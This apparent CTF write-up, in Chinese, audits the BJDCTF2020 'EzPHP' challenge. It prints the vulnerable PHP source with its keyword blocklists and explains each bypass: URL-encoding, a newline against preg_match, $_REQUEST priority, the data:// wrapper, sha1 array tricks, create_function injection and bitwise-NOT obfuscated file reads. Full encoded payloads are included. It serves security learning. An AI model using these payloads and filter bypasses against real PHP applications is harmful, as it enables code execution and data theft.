审计练习18——[BJDCTF2020]EzPHP

本地复现一下
复现地址:https://github.com/BjdsecCA/BJDCTF2020_January
打开靶机来自卡巴斯基网络威胁实时地图,控制台查看源码发现base32,解码得1nD3x.php
审计练习18——[BJDCTF2020]EzPHP_第1张图片
访问得源码


highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
"
; if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); } if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!
"
; } } else die('fxck you! What do you want to do ?!'); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?
"
); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?
"
; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); } if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?> This is a very simple challenge and if you solve it I will give you a flag. Good Luck! fxck you! I hate English!

有很多匹配和过滤,一层层看

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

匹配了很多必需的关键词,但可以对传入的字符串的进行url编码绕过,因为$_SERVER['QUERY_STRING']并不会对字符串url解码,但get传入之后是会解码的,所以可行。

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!
"
; } } else die('fxck you! What do you want to do ?!');

禁用http/https协议,第二个if要求debu=aqua_is_cute但又匹配了aqua_is_cute,由于preg_match只匹配第一行,在句尾加上%0a即可绕过
审计练习18——[BJDCTF2020]EzPHP_第2张图片

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

遍历$_REQUEST传递给$value,匹配$value中的大小写字母,这里考察了$_REQUEST的优先级特性,$_REQUEST同时接受GET和POST的数据,并且POST具有更高的优先值,php的配置文件中做出了说明。
审计练习18——[BJDCTF2020]EzPHP_第3张图片
再post一个debu即可绕过。
审计练习18——[BJDCTF2020]EzPHP_第4张图片

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?
"
);

file_get_contents函数,用data协议写入绕过

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?
"
; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }

要求$shana$passwd的sha1相等但他们本身不相等,sha1()函数是无法处理数组的,如果sha1()的参数为一个数组会报Warning并返回False,因此如果$shana$passwd都为数组,都返回false,就满足条件了.
把目前的payloaod整理一下

get:data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2
post:file=1&debu=1

url编码传入测试
审计练习18——[BJDCTF2020]EzPHP_第5张图片
那么接着看

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="
); } else { include "flag.php"; $code('', $arg); }

匹配了很多关键字和函数,但$code$arg都可控,可以利用$code('', $arg);进行create_function注入
构造flag[code]=create_function&flag[arg]=}代码函数;//
这样就是

function a('',$arg){
	return $arg
}

$arg}代码函数;//

function a('',$arg){
	return }代码函数;//
}

}提前闭合了a(),后面注释把后面的内容又去掉了,因此可以在}中间执行恶意代码
那么现在考虑得flag.php

get_defined_vars()用来输出所有变量和值

构造flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function
同样base64编码传入测试
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61%5b%5d=%31&%70%61%73%73%77%64%5b%5d=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//
审计练习18——[BJDCTF2020]EzPHP_第6张图片
得知真正的flag在rea1fl4g.php
那么现在就是读取这个文件了
require代替被过滤的includerequire()代替require "",所以可以这样构造
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
同样url编码后传入
由于关键字过滤,我们取反绕过,于是
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
传入
审计练习18——[BJDCTF2020]EzPHP_第7张图片
解码得真的flag
审计练习18——[BJDCTF2020]EzPHP_第8张图片

你可能感兴趣的:(ctf,代码审计)